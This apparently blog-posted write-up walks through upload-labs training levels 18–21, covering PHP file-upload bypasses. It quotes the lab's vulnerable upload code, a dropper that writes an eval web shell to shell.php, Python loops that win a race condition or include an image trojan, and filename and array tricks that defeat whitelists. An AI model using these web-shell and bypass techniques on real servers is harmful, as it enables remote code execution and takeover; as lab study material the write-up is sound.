upload-labs(Pass-18 ~ Pass-21)

1、Pass-18(条件竞争)

1、题目需要进行代码审计:

php 复制代码
<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');//白名单
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;//得到上传路径,即为upload/ + 文件名

    if(move_uploaded_file($temp_file, $upload_file)){//上传文件,即将文件上传到$upload_file目录下
        if(in_array($file_ext,$ext_arr)){//匹配白名单,若该文件后缀在白名单中则进入
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);//修改文件名
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);//删除该文件
        }
    }else{
        $msg = '上传出错!';
    }
}
?>

所以我们只要上传的文件后缀不是白名单中的,该文件就还是会被删除

2、思路:

我们可以上传一个php文件其中代码为:

php 复制代码
<?php
fputs(fopen("shell.php","w"),"<?php @eval(\$_POST[1]);?>");
?>

由于该文件后缀不是白名单中的,该文件就还是会被删除;

但是,服务器删除该php文件是有一定的延迟的,若我们在这延迟中访问了该php代码,那么就会在当前目录生成shell.php文件

3、实践:

(1)、抓包进入爆破模块:

(2)发包:

此时就在源源不断的上传文件1.php,服务器也在一直删除该文件;

与此同时,我们得不断访问该文件,可以写个python脚本来访问:

python 复制代码
import requests


while 1:
    url = "http://192.168.80.128/upload-labs/upload/1.php" #填入url

    html = requests.get(url)
    print(html.text)

(3)、访问shell.php:

2、Pass-19(条件竞争 + 图片马)

注:

本题代码有一处有点问题需要修改,即myupload.php中:

php 复制代码
function setDir( $dir ){
    
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else { 
      $this->cls_upload_dir = $dir . '/';//设置文件夹,需要后面加上'/'
      return 1;
    }
  }

1、进行代码分析:

index.php:

php 复制代码
<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);//调用myupload.php的MyUpload方法传入参数
    $status_code = $u->upload(UPLOAD_PATH);//调用myupload.php的upload方法处理文件
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}
?>

myupload.php(带注释):

php 复制代码
<?php

class MyUpload{    

  var $cls_upload_dir = "";         // Directory to upload to.
	var $cls_filename = "";           // Name of the upload file.
	var $cls_tmp_filename = "";       // TMP file Name (tmp name by php).
  var $cls_max_filesize = 33554432; // Max file size.
  var $cls_filesize ="";            // Actual file size.
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
  var $cls_file_exists = 0;         // Set to 1 to check if file exist before upload.(当设置参数值为1时,就会在上传前检查文件是否存在)
  var $cls_rename_file = 1;         // Set to 1 to rename file after upload.(当设置参数值为1时,就会在上传文件之后修改文件名)
  var $cls_file_rename_to = '';     // New name for the file after upload.
  var $cls_verbal = 0;              // Set to 1 to return an a string instead of an error code.

  /** constructor()
   **
   ** @para String File name
   ** @para String Temp file name
   ** @para Int File size
   ** @para String file rename to
  **/
  function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
  
    $this->cls_filename = $file_name;//文件名
    $this->cls_tmp_filename = $tmp_file_name;//临时文件名
    $this->cls_filesize = $file_size;//文件大小
    $this->cls_file_rename_to = $file_rename_to;//文件重命名
  }

  /** isUploadedFile()
   **
   ** Method to wrap php 4.0.3 is_uploaded_file fct
   ** It will return an error code if the file has not been upload to /tmp on the web server
   ** (look with phpinfo() fct where php store tmp uploaded file)
   ** @returns string
  **/
  function isUploadedFile(){
    
    if( is_uploaded_file( $this->cls_tmp_filename ) != true ){//is_uploaded_file() 函数判断指定的文件是否是通过 HTTP POST 上传的
      return "IS_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }
  }

  /** setDir()
   **
   ** Method to set the directory we will upload to. 
   ** It will return an error code if the dir is not writable.
   ** @para String name of directory we upload to
   ** @returns string
  **/
  function setDir( $dir ){
    
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else { 
      $this->cls_upload_dir = $dir . '/';//若upload文件在存在,设置$this->cls_upload_dir=upload
      return 1;
    }
  }

  /** checkExtension()
   **
   ** Method to check if we accept the file extension.
   ** @returns string
  **/
  function checkExtension(){//检查扩展名
    
    // Check if the extension is valid

    if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
      return "EXTENSION_FAILURE";
    } else {
      return 1;
    }
  }

  /** checkSize()
   **
   ** Method to check if the file is not to big.
   ** @returns string
  **/
  function checkSize(){//大小要小于33554432

    if( $this->cls_filesize > $this->cls_max_filesize ){
      return "FILE_SIZE_FAILURE";
    } else {
      return 1;
    }
  }

  /** move()
   **
   ** Method to wrap php 4.0.3 fct move_uploaded_file()
   ** @returns string
  **/
  function move(){//上传文件
    
    if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
      return "MOVE_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }

  }

  /** checkFileExists()
   **
   ** Method to check if a file with the same name exists in
   ** destination folder.
   ** @returns string
  **/
  function checkFileExists(){//检查在upload目录下文件是否已经存在
    
    if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
      return "FILE_EXISTS_FAILURE";
    } else {
      return 1;
    }
  }

  /** renameFile()
   **
   ** Method to rename the uploaded file.
   ** If no name was provided with the constructor, we use
   ** a random name.
   ** @returns string
  **/

  function renameFile(){//进行修改文件名

    // if no new name was provided, we use

    if( $this->cls_file_rename_to == '' ){//未设置文件名

      $allchar = "abcdefghijklnmopqrstuvwxyz" ; 
      $this->cls_file_rename_to = "" ; 
      mt_srand (( double) microtime() * 1000000 ); 
      for ( $i = 0; $i<8 ; $i++ ){
        $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; 
      }
    }    
    
    // Remove the extension and put it back on the new file name
		
    $extension = strrchr( $this->cls_filename, "." );
    $this->cls_file_rename_to .= $extension;
    
    if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
      return "RENAME_FAILURE";
    } else {
      return 1;
    }
  }
  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){//index.php调用了upload方法,并传入$dir='upload'
    
    $ret = $this->isUploadedFile();//判断文件是否是正常上传过来的,若是则$ret=1
    
    if( $ret != 1 ){//若文件不是正常上传过来的,通过resultUpload方法返回指定数值
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );//设置上传文件夹,成功返回$ret=1
    if( $ret != 1 ){//出错返回
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();//检查上传文件的后缀是否在白名单中
    if( $ret != 1 ){//不在返回出错
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();//检查文件大小
    if( $ret != 1 ){//太大返回出错
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();//若文件已经存在返回出错
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();//将文件上传到upload目录下
    if( $ret != 1 ){//出错返回
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){//出错返回
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );//返回成功
  
  }

  /** resultUpload()
   **
   ** Method that returns the status of the upload
   ** (You should put cls_verbal to 1 during debugging...)
   ** @para String Status of the upload
   ** @returns mixed (int or string)
  **/
  function resultUpload( $flag ){

    switch( $flag ){
      case "IS_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -1; else return "The file could not be uploaded to the tmp directory of the web server.";
        break;
      case "DIRECTORY_FAILURE"        : if( $this->cls_verbal == 0 ) return -2; else return "The file could not be uploaded, the directory is not writable.";
        break;
      case "EXTENSION_FAILURE"        : if( $this->cls_verbal == 0 ) return -3; else return "The file could not be uploaded, this type of file is not accepted.";
        break;
      case "FILE_SIZE_FAILURE"        : if( $this->cls_verbal == 0 ) return -4; else return "The file could not be uploaded, this file is too big.";
        break;
      case "FILE_EXISTS_FAILURE"      : if( $this->cls_verbal == 0 ) return -5; else return "The file could not be uploaded, a file with the same name already exists.";
        break;
      case "MOVE_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -6; else return "The file could not be uploaded, the file could not be copied to destination directory.";
        break;
      case "RENAME_FAILURE"           : if( $this->cls_verbal == 0 ) return 2; else return "The file was uploaded but could not be renamed.";
        break;
      case "SUCCESS"                  : if( $this->cls_verbal == 0 ) return 1; else return "Upload was successful!";
        break;
      default : echo "OUPS!! We do not know what happen, you should fire the programmer ;)";
        break;
    }
  }

}; // end class

// exemple
/*

if( $_POST['submit'] != '' ){

  $u = new MyUpload( $_FILES['image']['name'], $_FILES['image']['tmp_name'], $_FILES['image']['size'], "thisname" );
  $result = $u->upload( "../image/upload/" );
  print $result;

}

print "<br><br>\n";
print "<form enctype='multipart/form-data' method='post' action='". $PHP_SELF ."'>\n";
print "<input type='hidden' name='MAX_FILE_SIZE' value='200000'>\n";
print "<input type='file' name='image'>\n";
print "<input type='submit' value='Upload' name='submit'>\n";
print "</form>\n";
*/
?>

可知代码的思路是:检查文件大小,后缀等信息,不符合则上传失败,若上传成功则随机化文件名(即在现实中,我们不知道文件名;但本题可以知道,我们以不知道来进行解答)

2、所以思路是,我们上传一个图片马,在服务器修改文件名的间隙,通过文件包含漏洞,向服务器写入一个后门

3、实践:

操作跟上一关差不多

利用python文件进行包含:

python 复制代码
import requests


while 1:
    url = "http://192.168.80.128/upload-labs/include.php?file=./upload/2.png" #填入url

    html = requests.get(url)
    print(html.text)

这里是否写入也是概率问题,多跑几次

3、Pass-20(上传文件名可控move_uploaded_file)

1、本题我们可以任意写出我们想要上传的文件名,由于move_uploaded_file会忽略末尾的/.,进行后缀获取的时候,获取到空,所以也可以用来绕过黑名单;

输出后缀:

可知为空

2、上传:

访问:

4、Pass-21(逻辑漏洞)

1、代码分析:

php 复制代码
<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';


if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {

        $is_upload = false;
        $msg = null;
        if(!empty($_FILES['upload_file'])){
            //mime check
            $allow_type = array('image/jpeg','image/png','image/gif');
            if(!in_array($_FILES['upload_file']['type'],$allow_type)){
                $msg = "禁止上传该类型文件!";
            }else{
                //check filename
                $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
                if (!is_array($file)) {//若$file不为数组,则将$file以点分开,得到字符串数组
                    $file = explode('.', strtolower($file));
                }

                $ext = end($file);//获取数组的最后一位
                $allow_suffix = array('jpg','png','gif');//白名单
                if (!in_array($ext, $allow_suffix)) {
                    $msg = "禁止上传该后缀文件!";
                }else{
                    $file_name = reset($file) . '.' . $file[count($file) - 1];//取数组第一个元素和最后一个拼接
                    $temp_file = $_FILES['upload_file']['tmp_name'];
                    $img_path = UPLOAD_PATH . '/' .$file_name;
                    if (move_uploaded_file($temp_file, $img_path)) {
                        $msg = "文件上传成功!";
                        $is_upload = true;
                    } else {
                        $msg = "文件上传失败!";
                    }
                }
            }
        }else{
            $msg = "请选择要上传的文件!";
        }
        
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}



?>

2、我将代码简化,上面代码逻辑等同于:

php 复制代码
<?php
$name=$_GET['name'];//输入的文件名
$ext=end($name);//取最后一个元素
$allow_suffix = array('jpg','png','gif');//白名单
                if (!in_array($ext, $allow_suffix)) {
                    $msg = "禁止上传该后缀文件!";
                }else{
                    $file_name = reset($name) . '.' . $name[count($name) - 1];//取数组第一个元素和最后一个拼接
		    echo count($name) . '</br>';
                    echo $file_name . '</br>';
                }

var_dump($name);
?>

其中

end函数:取最后一个元素

reset:取第一个元素

所以我们的思路是:我们自己传入数组,不用代码中的explode进行分割形成数组。

由于有黑名单,所以我们输入的数组最后一个元素必须为jpg、png或者gif

而这里的所及漏洞是后面的文件名拼接,文件后缀是取数组元素减一所指的元素,若我们让数组本身元素少于下标最后绕过;

3、实践:

4、访问:

相关推荐
m0_748250743 小时前
2020数字中国创新大赛-虎符网络安全赛道丨Web Writeup
前端·安全·web安全
Hacker_Oldv3 小时前
通过端口测试验证网络安全策略
安全·web安全
几维安全3 小时前
出海隐私合规解决方案,一文助力中企合规出海
网络·安全
燕雀安知鸿鹄之志哉.3 小时前
攻防世界 easyphp
安全·web安全·网络安全
老鑫安全培训4 小时前
从安全角度看 SEH 和 VEH
java·网络·安全·网络安全·系统安全·安全威胁分析
乐维_lwops4 小时前
安全筑堤,效率破浪 | 统一运维管理平台下的免密登录应用解析
运维·服务器·安全
AI服务老曹5 小时前
报警推送消息升级的名厨亮灶开源了
人工智能·安全·开源·音视频
阿moments5 小时前
SpringBoot3-第十篇(整合Web安全)
spring boot·安全·web安全
kiritio10245136 小时前
kipotix4靶机实战
笔记·安全
anddddoooo8 小时前
Kerberoasting 离线爆破攻击
网络·数据库·安全·microsoft·网络安全